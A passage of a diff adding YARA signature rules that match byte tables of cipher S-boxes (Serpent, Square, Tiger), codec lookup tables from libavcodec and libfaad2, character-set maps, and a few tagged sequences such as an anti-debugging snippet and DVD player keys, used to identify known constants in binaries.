fe1078f1f8e1fc803cb0377007600c50fca03e007f700c40ff503f600fc010300f4037100f703f1001300310030007000050012007300ff0172007d000200610055006000c902c802cb027101b50054000100010001005700010063001d00620039006d000000050038005600b4006c0003001c006f003b0002003a007001b700730151006e00250050006900ca02240027007201b600b1000d000c001f007d012600680053007c016b001e000f0004007f016a00f502190021005200f402f7022000cd0be505e405cc0b2300b000f602b3002200f102f002cf0bce0b7e015d00bd002500a10159019902bc00240005050405a00101001d006d001c00010005002700a30158011f001e00a201260021000d002000230098026c002200bf00be00ad012d009b02b900ac01b800af019a026f005b016e0085028402ae0119002c00a901a8010c000f005a01bb000e0000006900ab011800aa0104005500ba000705450154000605a5000105a40057000005050a4401a7008702860203054701040a460159074100e500bd039d0e2d012c011d3abc032f010d004000e400bf03430042005807be03e700010000003d00e6001500140017003c003d742e01b903b8039c0ebb035b071c3a9f0e2901e10028019e0e2b015a07e000990e45071f3aba034407980e0d1da5039b0e3c749a0e2a014d00e300850ed501840e4c0047070c1dd4013f0016004607a40341074f003e00d70140070c0011004e00e200ed00ec0049004800 }
+
+condition:
+	$a0
+}
+
+	
+rule Serpent_crypto_SBoxInverse__8_byt_512_
+{
+strings:
+	$a0 = { 0d030b000a06050c010e04070f0908020508020e0f060c030b040709010d0a000c090f040b0e01020003060d05080a0700090a070b0e060d03050c0204080f01050008030a09070e020c0b06040f0d01080f020904010d0e0b060503070c0a000f0a010d0503060004090e07020c080b0300060d090e0f08050c0b070a0104020d030b000a06050c010e04070f0908020508020e0f060c030b040709010d0a000c090f040b0e01020003060d05080a0700090a070b0e060d03050c0204080f01050008030a09070e020c0b06040f0d01080f020904010d0e0b060503070c0a000f0a010d0503060004090e07020c080b0300060d090e0f08050c0b070a0104020d030b000a06050c010e04070f0908020508020e0f060c030b040709010d0a000c090f040b0e01020003060d05080a0700090a070b0e060d03050c0204080f01050008030a09070e020c0b06040f0d01080f020904010d0e0b060503070c0a000f0a010d0503060004090e07020c080b0300060d090e0f08050c0b070a0104020d030b000a06050c010e04070f0908020508020e0f060c030b040709010d0a000c090f040b0e01020003060d05080a0700090a070b0e060d03050c0204080f01050008030a09070e020c0b06040f0d01080f020904010d0e0b060503070c0a000f0a010d0503060004090e07020c080b0300060d090e0f08050c0b070a010402 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_dca_downmix_coeffs__flt32___32_lil_260_
+{
+strings:
+	$a0 = { 0000803fd1117d3f9cbc783ff9ad713f98d26a3f0529643fd7af5d3fac65573f3149513f18594b3f2194453f11f93f3fb8863a3fef3b353f9617303f96182b3fe03d263f6c86213f39f11c3f507d183fbf29143f9af50f3ffddf0b3f0be8073fec0c043fce4d003fb6b3e43eb4d4cb3e1aaab53e9be8a13e1c4d903ecc9b803ebb3e653e9b504c3e8718363e064b223ed3a4103ef9e9003e15cae53dcdcccc3d3887b63dadada23dbffc903d5638813d4573593d2bf6363d69f1193de286013d73f7d93c6365b73cfc4e9a3c9fd5813cf17b5a3cddd4373cc8ac1a3c8a24023c9c44b83ba673823b9fb4383bf2c2023be524b93a6f12833a1b62033af8b1833900000000 }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_8x8_64__8_byt_64_
+{
+strings:
+	$a0 = { 00300c3c03330f3f20102c1c23132f1f083804340b3b0737281824142b1b271702320e3e01310d3d22122e1e21112d1d0a3a0636093905352a1a261629192515 }
+
+condition:
+	$a0
+}
+
+	
+rule XXEncodeTable__32_lil_ASC_256_
+{
+strings:
+	$a0 = { 2b0000002d000000300000003100000032000000330000003400000035000000360000003700000038000000390000004100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a0000006100000062000000630000006400000065000000660000006700000068000000690000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000730000007400000075000000760000007700000078000000790000007a000000 }
+
+condition:
+	$a0
+}
+
+	
+rule unlzx_table_three__16_big_32_
+{
+strings:
+	$a0 = { 0000000100030007000f001f003f007f00ff01ff03ff07ff0fff1fff3fff7fff }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain__flt32___32_lil_32_
+{
+strings:
+	$a0 = { 0000043f0000673f0020ca3f00dc3040000004bf000067bf0020cabf00dc30c0 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_16_128__avcodec___faad___16_lil_30_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000280030003c00480058006c008000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_G729_cb_lsp_2nd__16_lil_640_
+{
+strings:
+	$a0 = { 4DFED1FC1AFD0904FAFD46024FFB3D0356008101BFFC85FCCF01F8FF1DFBAA05480019FF6003950203FCE700CEFE410124FF5DFFF2FD0EFD9FF90B0139003AFFADFEDFFF44FA3D021C0357FF89FD3003AB00A2FE26017C06C501070223019F0080FDF0FA43FDB6FCC6FFB6037C030D06CB020F0236FD3FFF48021F00DFFE6401B3FE37FE6402E5FE9BFA1BFD93FFD8FCE7004D00A9FFA8FE3D053F0472FDC7FDA5FCD40426025603CA02E1FD28F93DFF9EFFECFE93FC46FC20FBD5FED40015FF28FDB503ED057F03B3FF580194FDFB029D01F60196FE40FC1DFE6A05C6FECDFE00FF14FB53FEC2012EFE94FFF203AF08C702B50209028A021905E4FF86FEE80213FCF00090FFF1FE0CFEB203C5060F01F1FF8D03FDFE98063F02F6FF2CFE39FF4D040DFC4502CBFF15FD6E039100E3FE00FB72FE24000EFE9FFA120044FECB0593FBBDFC46050405A1FFF70322FFBB0174019EFE4DFA2BFBA0012BFFD2019D0293026806A4031602F1FF4200D401FB0314FD69054AFF75FC2FFDFAFEAEFE9400A5054B0008FD3902DF045101A00187FF8501EF002006D5037100710115FC05FEB5FD78FCC8FE9EFFB5031F005004480073FFB9053F00EFFC670448024303150179FBD0002D018EFC75006CFE1B028EFF580313FEDF0070FC6F02B4FF140148FE95082109F4049E023001F5FEF3FD8C00720375FFC4F92602210338FEC8FF47FD610324049D01BE0182045102B3FFD504E1FF4502F3FB81FC9D0229018D012E02CB00E3FC69FC0300B402DCFE1A040E034E01C3057802B0FF3000DBFB1CFE6A01ABFDACFCDFFDB6FE53FE58FD6D0462FB18FD3C0506013F0028053B0372FEC0FD5501FAFC1DFE21FBBAFF62005DFFA202F5FF8AFC13029BFBF7FE0EFFD402A603 }
+
+condition:
+	$a0
+}
+
+	
+rule Square_crypto_algorithm_T_encoding__32_lil_4096_
+{
+strings:
+	$a0 = { 26b1b197a7cece69b0c3c3734a9595dfee5a5ab402adadafdce7e73b06020204d74d4d9acc444488f8fbfb03469191d7140c0c187c8787fb16a1a1b7f05050a0a8cbcb63a96767cefc5454a892dddd4fca46468c648f8febd6e1e137d24e4e9ce5f0f015f2fdfd0ff1fcfc0dc8ebeb23fef9f907b9c4c47d2e1a1a34b26e6edce25e5ebceaf5f51fa1cccc6d628d8def241c1c38fa5656acc5434386f7fefe090907070ea36161c2fdf8f8059f7575eaeb5959b2f4ffff0b05030306662222446b8a8ae186d1d15735131326c7eeee296d8888e500000000120e0e1c5c3434683f15152a758080f5499494ddd0e3e333c2eded2f2ab5b59ff55353a665232346dd4b4b96c947478e3917172e1ca7a7bb459090d55f35356a08ababa39dd8d8453db8b88594dfdf4bd14f4f9ef95757ae5b9a9ac1439292d198dbdb432d1b1b36443c3c78adc8c8655e9999c70c040408678e8ee9d5e0e0358cd7d75b877d7dfa7a8585ff38bbbb83c0404080742c2c584e3a3a74cf45458ae6f1f117c6424284af6565ca60202040c341418228181830967272e46f25254a409393d3907070e05a36366c0f05050ae3f2f2111d0b0b1610a3a3b38b7979f2c1ecec2d180808106927274e53313162563232642fb6b699847c7cf825b0b0951e0a0a14957373e6ed5b5bb68d7b7bf62cb7b79b768181f783d2d251170d0d1abe6a6ad46a26264c579e9ec9e85858b0519c9ccd708383f39c7474e820b3b39301acacad503030608e7a7af4bb6969d2997777ee110f0f1e07aeaea96321214297dede4985d0d055722e2e5c4c9797db3010102019a4a4bd5d9898c50da8a8a589d4d45db86868d0772d2d5aa66262c47b292952b76d6dda3a16162cdb4949929a7676ecbcc7c77bcde8e825b6c1c1774f9696d95937376edae5e53fabcaca61e9f4f41dcee9e927a56363c636121224b3c2c2711fa6a6b93c14142831bcbc8d80d3d3537828285004afafab712f2f5edfe6e6396c242448f65252a4bfc6c67915a0a0b51b09091232bdbd8f618c8ceda4cfcf6be75d5dba33111122e15f5fbe03010102bac5c57f549f9fcb473d3d7a13a2a2b1589b9bc3aec9c9674d3b3b7637bebe89f35151a22b191932211f1f3e413f3f7ee45c5cb823b2b291c4efef2bde4a4a94a2cdcd6f34bfbf8b3bbaba81b16f6fdeac6464c89ed9d947e0f3f313423e3e7c29b4b49d0baaaaa191dcdc4d8ad5d55f0a06060cb5c0c075827e7efceff6f619aa6666ccb46c6cd8798484fd937171e2483838703eb9b987271d1d3a817f7ffe529d9dcfd8484890688b8be37e2a2a549bdada411aa5a5bf55333366738282f14b3939728fd6d659887878f07f8686f9fbfafa01d9e4e43d7d2b2b560ea9a9a7221e1e3c6e8989e7a06060c0bd6b6bd6cbeaea21ff5555aad44c4c98ecf7f71bd3e2e231b1b19726cece69a7c3c373b09595df4a5a5ab4eeadadaf02e7e73bdc020204064d4d9ad7444488ccfbfb03f89191d7460c0c18148787fb7ca1a1b7165050a0f0cbcb63a86767cea95454a8fcdddd4f9246468cca8f8feb64e1e137d64e4e9cd2f0f015e5fdfd0ff2fcfc0df1ebeb23c8f9f907fec4c47db91a1a342e6e6edcb25e5ebce2f5f51feacccc6da18d8def621c1c38245656acfa434386c5fefe09f707070e096161c2a3f8f805fd7575ea9f5959b2ebffff0bf403030605222244668a8ae16bd1d1578613132635eeee29c78888e56d000000000e0e1c123434685c15152a3f8080f5759494dd49e3e333d0eded2fc2b5b59f2a5353a6f5232346654b4b96dd47478ec917172e39a7a7bb1c9090d54535356a5fababa308d8d8459db8b8853ddfdf4b944f4f9ed15757aef99a9ac15b9292d143dbdb43981b1b362d3c3c7844c8c865ad9999c75e0404080c8e8ee967e0e035d5d7d75b8c7d7dfa878585ff7abbbb8338404080c02c2c58743a3a744e45458acff1f117e6424284c66565caaf20204060414182c3181830287272e49625254a6f9393d3407070e09036366c5a05050a0ff2f211e30b0b161da3a3b3107979f28becec2dc10808101827274e693131625332326456b6b6992f7c7cf884b0b095250a0a141e7373e6955b5bb6ed7b7bf68db7b79b2c8181f776d2d251830d0d1a176a6ad4be26264c6a9e9ec9575858b0e89c9ccd518383f3707474e89cb3b39320acacad01303060507a7af48e6969d2bb7777ee990f0f1e11aeaea90721214263dede4997d0d055852e2e5c729797db4c10102030a4a4bd199898c55da8a8a50dd4d45d896868d0b82d2d5a776262c4a62929527b6d6ddab716162c3a494992db7676ec9ac7c77bbce8e825cdc1c177b69696d94f37376e59e5e53fdacaca61abf4f41de9e9e927ce6363c6a512122436c2c271b3a6a6b91f1414283cbcbc8d31d3d3538028285078afafab042f2f5e71e6e639df2424486c5252a4f6c6c679bfa0a0b5150909121bbdbd8f328c8ced61cfcf6ba45d5dbae7111122335f5fbee101010203c5c57fba9f9fcb543d3d7a47a2a2b1139b9bc358c9c967ae3b3b764dbebe89375151a2f31919322b1f1f3e213f3f7e415c5cb8e4b2b29123efef2bc44a4a94decdcd6fa2bfbf8b34baba813b6f6fdeb16464c8acd9d9479ef3f313e03e3e7c42b4b49d29aaaaa10bdcdc4d91d5d55f8a06060c0ac0c075b57e7efc82f6f619ef6666ccaa6c6cd8b48484fd797171e29338387048b9b9873e1d1d3a277f7ffe819d9dcf52484890d88b8be3682a2a547edada419ba5a5bf1a333366558282f1733939724bd6d6598f7878f0888686f97ffafa01fbe4e43dd92b2b567da9a9a70e1e1e3c228989e76e6060c0a06b6bd6bdeaea21cb5555aaff4c4c98d4f7f71bece2e231d3b19726b1ce69a7cec373b0c395df4a955ab4ee5aadaf02ade73bdce7020406024d9ad74d4488cc44fb03f8fb91d746910c18140c87fb7c87a1b716a150a0f050cb63a8cb67cea96754a8fc54dd4f92dd468cca468feb648fe137d6e14e9cd24ef015e5f0fd0ff2fdfc0df1fceb23c8ebf907fef9c47db9c41a342e1a6edcb26e5ebce25ef51feaf5cc6da1cc8def628d1c38241c56acfa564386c543fe09f7fe070e090761c2a361f805fdf875ea9f7559b2eb59ff0bf4ff03060503224466228ae16b8ad15786d113263513ee29c7ee88e56d88000000000e1c120e34685c34152a3f1580f5758094dd4994e333d0e3ed2fc2edb59f2ab553a6f553234665234b96dd4b478ec947172e3917a7bb1ca790d54590356a5f35aba308abd8459dd8b8853db8df4b94df4f9ed14f57aef9579ac15b9a92d14392db4398db1b362d1b3c78443cc865adc899c75e9904080c048ee9678ee035d5e0d75b8cd77dfa877d85ff7a85bb8338bb4080c0402c58742c3a744e3a458acf45f117e6f14284c64265caaf65204060204182c3411830281872e49672254a6f2593d3409370e09070366c5a36050a0f05f211e3f20b161d0ba3b310a379f28b79ec2dc1ec08101808274e69273162533132645632b6992fb67cf8847cb09525b00a141e0a73e695735bb6ed5b7bf68d7bb79b2cb781f77681d25183d20d1a170d6ad4be6a264c6a269ec9579e58b0e8589ccd519c83f3708374e89c74b39320b3acad01ac306050307af48e7a69d2bb6977ee99770f1e110faea907ae21426321de4997ded05585d02e5c722e97db4c9710203010a4bd19a498c55d98a8a50da8d45d89d468d0b8682d5a772d62c4a66229527b296ddab76d162c3a164992db4976ec9a76c77bbcc7e825cde8c177b6c196d94f96376e5937e53fdae5ca61abcaf41de9f4e927cee963c6a56312243612c271b3c2a6b91fa614283c14bc8d31bcd35380d328507828afab04af2f5e712fe639dfe624486c2452a4f652c679bfc6a0b515a009121b09bd8f32bd8ced618ccf6ba4cf5dbae75d112233115fbee15f01020301c57fbac59fcb549f3d7a473da2b113a29bc3589bc967aec93b764d3bbe8937be51a2f35119322b191f3e211f3f7e413f5cb8e45cb29123b2ef2bc4ef4a94de4acd6fa2cdbf8b34bfba813bba6fdeb16f64c8ac64d9479ed9f313e0f33e7c423eb49d29b4aaa10baadc4d91dcd55f8ad5060c0a06c075b5c07efc827ef619eff666ccaa666cd8b46c84fd798471e2937138704838b9873eb91d3a271d7ffe817f9dcf529d4890d8488be3688b2a547e2ada419bdaa5bf1aa53366553382f1738239724b39d6598fd678f0887886f97f86fa01fbfae43dd9e42b567d2ba9a70ea91e3c221e89e76e8960c0a0606bd6bd6bea21cbea55aaff554c98d44cf71becf7e231d3e29726b1b169a7cece73b0c3c3df4a9595b4ee5a5aaf02adad3bdce7e7040602029ad74d4d88cc444403f8fbfbd746919118140c0cfb7c8787b716a1a1a0f0505063a8cbcbcea96767a8fc54544f92dddd8cca4646eb648f8f37d6e1e19cd24e4e15e5f0f00ff2fdfd0df1fcfc23c8ebeb07fef9f97db9c4c4342e1a1adcb26e6ebce25e5e1feaf5f56da1ccccef628d8d38241c1cacfa565686c5434309f7fefe0e090707c2a3616105fdf8f8ea9f7575b2eb59590bf4ffff0605030344662222e16b8a8a5786d1d12635131329c7eeeee56d8888000000001c120e0e685c34342a3f1515f5758080dd49949433d0e3e32fc2eded9f2ab5b5a6f553534665232396dd4b4b8ec947472e391717bb1ca7a7d54590906a5f3535a308abab459dd8d8853db8b84b94dfdf9ed14f4faef95757c15b9a9ad14392924398dbdb362d1b1b78443c3c65adc8c8c75e9999080c0404e9678e8e35d5e0e05b8cd7d7fa877d7dff7a85858338bbbb80c0404058742c2c744e3a3a8acf454517e6f1f184c64242caaf65654060202082c3414130281818e49672724a6f2525d3409393e09070706c5a36360a0f050511e3f2f2161d0b0bb310a3a3f28b79792dc1ecec101808084e6927276253313164563232992fb6b6f8847c7c9525b0b0141e0a0ae6957373b6ed5b5bf68d7b7b9b2cb7b7f77681815183d2d21a170d0dd4be6a6a4c6a2626c9579e9eb0e85858cd519c9cf3708383e89c74749320b3b3ad01acac60503030f48e7a7ad2bb6969ee9977771e110f0fa907aeae426321214997dede5585d0d05c722e2edb4c979720301010bd19a4a4c55d9898a50da8a85d89d4d4d0b868685a772d2dc4a66262527b2929dab76d6d2c3a161692db4949ec9a76767bbcc7c725cde8e877b6c1c1d94f96966e5937373fdae5e561abcaca1de9f4f427cee9e9c6a563632436121271b3c2c2b91fa6a6283c14148d31bcbc5380d3d350782828ab04afaf5e712f2f39dfe6e6486c2424a4f6525279bfc6c6b515a0a0121b09098f32bdbded618c8c6ba4cfcfbae75d5d22331111bee15f5f020301017fbac5c5cb549f9f7a473d3db113a2a2c3589b9b67aec9c9764d3b3b8937bebea2f35151322b19193e211f1f7e413f3fb8e45c5c9123b2b22bc4efef94de4a4a6fa2cdcd8b34bfbf813bbabadeb16f6fc8ac6464479ed9d913e0f3f37c423e3e9d29b4b4a10baaaa4d91dcdc5f8ad5d50c0a060675b5c0c0fc827e7e19eff6f6ccaa6666d8b46c6cfd798484e293717170483838873eb9b93a271d1dfe817f7fcf529d9d90d84848e3688b8b547e2a2a419bdadabf1aa5a566553333f1738282724b3939598fd6d6f0887878f97f868601fbfafa3dd9e4e4567d2b2ba70ea9a93c221e1ee76e8989c0a06060d6bd6b6b21cbeaeaaaff555598d44c4c1becf7f731d3e2e2 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_1__16_lil_64_
+{
+strings:
+	$a0 = { 659f6bb583c571d318e0b4eb1cf659ff5b08061152194a21c928f82fe636923ddf43bb49464f67543059a35dec61f965d4695a6d9e70ad736b76f0785a7ba57d }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Detect_single_stepping_and_turn_off_the_monitor__1___8_byt_13_
+{
+strings:
+	$a0 = { 66bac403b001ee6642ec0c20ee }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_css_alternate_DVD_player_keys__8_byt_155_
+{
+strings:
+	$a0 = { 01afe312801211ca043b140c9ed009147135bae21aa43321a626ecc4a74e2cb2c109ee2f259e96dd332f496ce0355bc1310f3667b2e385393df1f1bd3b31340d9145ed28ebd348b76cce694b650dc1ee4cbbf55b23516767c5e05394e175bf572c8b31ae63db4c5b4a7b1e5e2b5785f385a0e0ab1ee77b72ab36e3eb76b1b8f93803b85dd853bdbf92c3b0e2cf1ab2f80aeca0cfb3fffc95a98735 }
+
+condition:
+	$a0
+}
+
+	
+rule ascii_to_ebcdic_table__32_lil_1024_
+{
+strings:
+	$a0 = { 00000000010000000200000003000000370000002d0000002e0000002f0000001600000005000000150000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000003c0000003d000000320000002600000018000000190000003f000000270000001c0000001d0000001e0000001f000000400000005a0000007f0000007b0000005b0000006c000000500000007d0000004d0000005d0000005c0000004e0000006b000000600000004b00000061000000f0000000f1000000f2000000f3000000f4000000f5000000f6000000f7000000f8000000f90000007a0000005e0000004c0000007e0000006e0000006f0000007c000000c1000000c2000000c3000000c4000000c5000000c6000000c7000000c8000000c9000000d1000000d2000000d3000000d4000000d5000000d6000000d7000000d8000000d9000000e2000000e3000000e4000000e5000000e6000000e7000000e8000000e9000000bb000000bc000000bd0000006a0000006d0000004a000000810000008200000083000000840000008500000086000000870000008800000089000000910000009200000093000000940000009500000096000000970000009800000099000000a2000000a3000000a4000000a5000000a6000000a7000000a8000000a9000000fb0000004f000000fd000000ff00000007000000200000002100000022000000230000002400000004000000060000000800000028000000290000002a0000002b0000002c000000090000000a00000014000000300000003100000025000000330000003400000035000000360000001700000038000000390000003a0000003b0000001a0000001b0000003e0000005f00000041000000aa000000b0000000b10000009f000000b2000000d0000000b500000079000000b40000009a0000008a000000ba000000ca000000af000000a1000000900000008f000000ea000000fa000000be000000a0000000b6000000b30000009d000000da0000009b0000008b000000b7000000b8000000b9000000ab0000006400000065000000620000006600000063000000670000009e000000680000007400000071000000720000007300000078000000750000007600000077000000ac00000069000000ed000000ee000000eb000000ef000000ec000000bf00000080000000e0000000fe000000dd000000fc000000ad000000ae000000590000004400000045000000420000004600000043000000470000009c0000004800000054000000510000005200000053000000580000005500000056000000570000008c00000049000000cd000000ce000000cb000000cf000000cc000000e100000070000000c0000000de000000db000000dc0000008d0000008e000000df000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Bijective_EBCDIC__character_set_IBM_1047__to_US_ASCII_table__8_byt_256_
+{
+strings:
+	$a0 = { 000102038509867f878d8e0b0c0d0e0f101112138f0a089718199c9d1c1d1e1f808182838492171b88898a8b8c050607909116939495960498999a9b14159e1a20a0e2e4e0e1e3e5e7f1a22e3c282b7c26e9eaebe8edeeefecdf21242a293b5e2d2fc2c4c0c1c3c5c7d1a62c255f3e3ff8c9cacbc8cdcecfcc603a2340273d22d8616263646566676869abbbf0fdfeb1b06a6b6c6d6e6f707172aabae6b8c6a4b57e737475767778797aa1bfd05bdeaeaca3a5b7a9a7b6bcbdbedda8af5db4d77b414243444546474849adf4f6f2f3f57d4a4b4c4d4e4f505152b9fbfcf9faff5cf7535455565758595ab2d4d6d2d3d530313233343536373839b3dbdcd9da9f }
+
+condition:
+	$a0
+}
+
+	
+rule Yamaha_ADPCM_diff_lookup_table__8_byt_16_
+{
+strings:
+	$a0 = { 01030507090B0D0FFFFDFBF9F7F5F3F1 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_MACEtab4__16_lil_512_
+{
+strings:
+	$a0 = { 4000d8004300e2004600ec004a00f6004d00010150000c0154001801580026015c0033016000410164004e0168005e016d006d0172007e0177008f017c00a0018200b2018800c6018e00db019400ef019b000702a2001d02a9003402b0004e02b9006902c1008402c900a102d200bf02dc00df02e600ff02f0002103fb00460306016c03120192031e01bb032b01e5033801110446014104550172046401a4047401d9048401110596014a05a8018705bb01c605ce010806e3014d06f90194060f02e00627022e07400281075902d7077402310890028e08ae02f008cc025509ec02c0090d032f0a3003a40a55031e0b7b039d0ba203200ccc03ab0cf8033d0d2504d30d5404720e8604160fb904c30ff0047810280533116305f711a105c612e1059b1324067c146a066515b3065a1600075a1750076518a3077a19fb079d1a5608ce1bb5080c1d1909571e8009b21fed091d215f0a9622d50a2224510bbf25d20b6e275a0c3229e70c082b7a0df42c140ef42eb50e0c315d0f3e330c108735c410eb378311693a4b12053d1c13be3ff7139642db148f45c915aa48c216e94bc6174c4fd618d552f21988561a1b655a501c6d5e931da462e51e0c674620a56bb721727038237875cb24b57a6f26ff7f2628ff7ff129ff7fd02bff7fc52dff7fd02fff7ff231ff7f2c34ff7f8136ff7ff038ff7f7a3bff7f223eff7fe740ff7f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ultimotion_ulti_lumas__8_byt_64_
+{
+strings:
+	$a0 = { 1013171a1e2125282c2f33363a3d4144484b4f5256595c6063676a6e7175787c7f83868a8d9194989b9fa2a5a9acb0b3b7babec1c5c8cccfd3d6dadde1e4e8eb }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_huffyuv_classic_add_luma__8_byt_256_
+{
+strings:
+	$a0 = { 0309050c0a23201d1b32302d2c29272549464441403d3a383532312e2c29262444413f3d3a373533302e2d2b292726242321201e1d1b1a19302f2e2c2b29282725242322201f1e1c1b1a1817161413252322211f1e1d1b1a1817151412110f1d1b1a1816151311100e1a1917151312100f1b1917151311100e1a19171512110e0c11130d0409020b0107080010030e060c0a050f120b0a0d0f10131416181b0f121416181a0e111416181b0f121417191c101316191c202415191d21262a2d311c1f2225282a2c2f3132343638393b3c3e40424345232527282a2b2d2f3033343637393b3c3e3f424345474826282a2b2e2f31331a1c1e1f212212130b0d0708 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_30_neg__flt64___64_big_320_
+{
+strings:
+	$a0 = { 3ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003fefe09f21c3ca1a3fefe09f21c3ca1a3fefc15d07f6771e3fefc15d07f6771e3fefc15d076d06bf3fefc15d07f6771e3fefc15d07f6771e3fef8334ab0277aa3fef644e2b3131253fef644e2b3131253fefa2399510e2953fef8334ab0277aa3fef4585f89f5af13feee9e204d38a923feecb91dd48d71b3fef8334ab0277aa3fef4585f89f5af13feee9e204d38a923fee71534b4567823fee35c1430972a33fef644e2b3131253fef085002f7ac1f3fee71534b4567823feddd39b843b9fa3fed85b59ba52ef03fef4585f89f5af13feead5f6f59dda03fedfa9f427262c03fed4bec327652753fecbd61a39a34b03fef085002f7ac1f3fee537df25a61313fed85b59ba52ef03fecbd61a39a34b03febfa5d0673eb12 }
+
+condition:
+	$a0
+}
+
+	
+rule Tiger__64_lil_8192_
+{
+strings:
+	$a0 = { 5e0ce9f77cb1aa02eca843e2034b42acd3fcd50de35bcd723a7ff9f6939b016d93911fd2ff7899cde2298070c9a17375c3832a926b3264b170589104ee3e8846e6ec037105e3acea5c53a308b86941c57cc4de8d9154e74c0cf40ddcdff4a20afabe4da7186fb7106aabd15a23b6ccc6ffe22f57216172131e929d196f8c481aca0700daf4f9c94bc74152e8f6e6f526b64759eadb799085928c9ec9c585184f4b866fa91e768ed77dc1b5528c42368ec16330372768cf696ec5b49b3dc907b6eab5760e760e827d42dc7ff0c69c5c64e042332478a038bf047d2e9d3c346b5fc60e0b60eb8ac2f2acbc54725fd80e6ce54fdba4812259719fed0fce69fa6719db4565b9f89352fd0b60a7f2d7e979c84e19930192480286b3c09c2d3b53f9a4137695156c835390f17b35fc8acf6ddb570f377a7aeabe186690b950ca177103354a4274970ab36a9b2425e3022fe9f4e1ca1c0607db3977052aa4ec9cb4f3d8732f38513fbe56bd28bbb04358edfa45831fbf115c3d811c69a15fd7b6e4f08a9999ad87a418ee331044c9b1eae8263cf922a8c02b1010b53b12e60c31ef1e1454b1dd5900b965fc07e6e0c5408615e0cfa3c32698074e88fd35c523950d0d93002b9a4e758d6335d59d4640cffc85404c3ae28bd27ab1c42e6a3e6afcf0b2cacd3f946b1a9760284604e312e26ede3dae6517e02af32262fe088347b50b555d2aa2eda08da9efa9a70dc48616a751c3847c869c6d5805115328a2fd85eeffdc76ef5e2c26d0fbcc01d29089cb94f2ba75d9fa2af56494e6143e13dfaf13b09458c92328a3d1a7061911f63051fe956fc0062c464eb32ad9d2717c8833de7bed3e3918656e6d74792933715d3819a45b6475a948b9a61b7c67acfd7b197c9831023d054bc4236cde4dd602d0fe491c5871152638634d47dd62d073e4c34645aa60f8559434ce8f92d994abcaba1b1648686f0e77302491631c64c602e6a5c86e2bdd7d33152528871b704b03426bda2c6d09cb81c1373db06f1cc766824308e155b251ebc780312bbc8bc0962fb892dfbaf332a6c0c8685c56053d1c86cc04558f6bb25fe5a4bfabb4cebab30a8b8441325d44aa73a234b381d85aa8f096a6bc6cd528b565ecf6244a52f4902e51e10c5ad306559dd79d4e7997cec6fa058925339b103e5b291920cc54a0738b47a9f8b07e4134f9f22429c41b6d537d3593398bffb61dc21aa838bf16607df1fbc447f5e36776ddaa0f1e96eb8b9362ffbc7ac979c18f94ad8da70de51129b7981f8f911a1227ae8ee46108988531adf7624debea5cef45a3ebecce8496bc5eb2cef52162f7b70ce233f6e49382ab06df2ca3a42ceea52c205a98b18f8acc47840bcfa35998974452769f170024a1b116d5a826c75dbb3ebad70b39db6ab855ca4be56380476cfd3a7a1ddd9e66e708c69e5123aa49d1a215570e94f18f8471457d17224c0141325fb5eec22e6e3aa15c5e0f61c3f5757b92298036e4d6c3ab9f13ad2f40cf4ca9f15d0dc8dfa5be48d98b3e7ef73fbd57d3a0a545f6741f252ed1a282a0815e529efd66497a687fce900c2ec53b97babebce8c25f7409e5bc010000d6b3dae6bb773742b56ef0ae7e1c66d1d8cfaa4d351f78a1fcaf162b4a28112d1f1d89fa674ffcf1da0a92cb5dc2ec735126a1c2220c61ae8ab756d310a8e0960f87e72f1f389a5a30554ee9ed62add527148d36e8e525d23146afc7707b97654fd739deb289f89943d1e154bf303f23973ca6d9d375969aa8f934f34f55705488564f4a74cb6a16adaee4b2aa4cc770124d296f6491d0f0d1314068892ab8576b0bbe615a5ad9ef9af2f269e912bd2fe89ffffe1370d39b065a08d604049b3f15fe6c16f3c14049fbdef3cd4d2c5409e35ccd858321c5b441a66244dcb735c93fb6d38ea6f81734405b215b295909b872858c3befda9cf95db9fcf814068c01f3cd3a1acdac141b2d73bb00f271d48416dae8950e11a3c1b8821abf20720a430e21df390d097eb79d5ed03c9fbdf45e44a4577edaf64f9df8a5d483e1601dda478e991784c387b28618b31b12dc3efeefcb0c98cc3cfec703fd9b1890b56fe4dc574c9a46fd323765adf17ca000f77e59881da36844c659f6615bd4b4b02f7618770499d0ae5b15a6ba503d4c5e7568dfb4d8227f4e21e9f495ac2e53bfdd2a0901bdb40939ae3250348eb037f54d838d722042a89d20faf723fe9e9b1d699e7f8daec488d246045b7869e124c54c7b8513ca35017fd821a58a7b130f40bbcebe960758662b2e27deb0c22541261236b2fb1eadbd027705e94bf8ac8ebbbad47bc61b643931589124e03680e02ddc8bed689ff456813c601151efdbf736d2f7801ed28a59c42797d75f0a6796088aa0cba9eb09438f4acba136700f4b56af81bd9a1978a79ab9c052e9c83fc81e9f95b9814a797750508cf03863058fafca3a78677a62503fb40777ccecf549ab444a98ee79b6e4d6c33b8c1014cfd1d4c09ca0c86b200bc00644892dd7c85488a1822c433c5cb366e367f2372b1061dd23b91d2784d87927ab56af2515ffb0e183bea9497e21d4657cfbd4e7486de7e0db6b9e17d9458782df0834bd53dd9a6aea220a2022561c146ee3ee50b78c1b5d807f37e8589fa5c7e5af3cc2b14f6a997fe2d0f07507fb7d86d31a89886ede73e6d0256cb8af9eeb3a1295b845c1d5d5f130e76972ee2d4a43bb38fa31f9ec67cb789cbf3b3272033bf3749c27fb3663d652aa4efb0aac335f5087e1cca299cda5e8bb302d1e80744953906d87d511572d8d8e03bc9128411a1f4866e5821de7e2d6b73277493a6c0374abf56163d9